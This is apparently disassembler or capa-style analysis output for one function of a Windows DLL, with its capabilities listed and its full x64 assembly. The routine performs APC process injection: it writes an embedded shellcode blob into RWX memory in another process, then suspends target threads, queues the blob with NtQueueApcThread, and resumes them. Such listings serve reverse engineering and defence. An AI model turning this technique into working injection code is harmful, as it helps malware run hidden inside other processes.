Function at 0x180002c90
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
xor eax, eax
xor esi, esi
mov rdi, r8
and dword [rbp - 0x28], esi
and qword [rbp - 0x40], rax
mov r12, rdx
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x1c], rax
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov r13, rcx
mov ebx, 5
xor r14d, r14d
call fcn.180005b9c
mov r15, rax
test rax, rax
je 0x180002f2f
cmp dword [rbp + 0x60], 1
mov rax, qword [rbp + 0x68]
mov byte [rbp - 0x30], sil
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x70]
mov dword [rbp - 0x28], 0x1c
mov qword [rbp - 0x38], rax
jne 0x180002d21
mov ecx, ebx
jmp 0x180002ea2
cmp dword [rbp + 0x60], 2
jne 0x180002e9d
lea rcx, [0x1800236bc]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp - 0x48], rax
test rax, rax
je 0x180002ea8
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x180002ea8
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
test rax, rax
je 0x180002ea8
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180002ea8
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x15c
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x180002dc5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13, qword [rbp + 0x40]
jmp 0x180002eae
and qword [rsp + 0x20], 0
lea r8, [0x18002e490]
mov r9d, 0x144
mov rdx, rax
mov rcx, rdi
lea r12, [rax + 0x144]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002dfb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [rbp + 0x48]
jmp 0x180002dbc
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov r9d, 0x18
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002def
mov r14, qword [rbp - 0x50]
mov eax, dword [rbp + 0x58]
cmp dword [rbp - 0x1c], eax
jne 0x180002e7f
mov r8d, dword [rbp - 0x20]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180002e7f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x180002e76
mov rdx, rdi
mov rcx, r15
call fcn.180005e50
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r12
mov rdx, r13
mov rcx, rdi
call r14
test eax, eax
jne 0x180002e7f
xor ebx, ebx
jmp 0x180002e7f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x28]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180002e1f
mov r14, qword [rbp - 0x48]
mov r12, qword [rbp + 0x48]
mov r13, qword [rbp + 0x40]
jmp 0x180002eb0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x180002efb
test r13, r13
je 0x180002efb
test r12, r12
je 0x180002efb
lea r8d, [rbx + 2]
mov edx, 0x20196
mov rcx, r12
call fcn.18000440c
mov r8, r12
mov rdx, r13
xor ecx, ecx
call fcn.180004a6c
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180002efb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180005edc
mov rdi, rax
test rax, rax
jne 0x180002ee9
mov rcx, r15
call fcn.180005bec
test rsi, rsi
je 0x180002f21
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x180002f2f
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret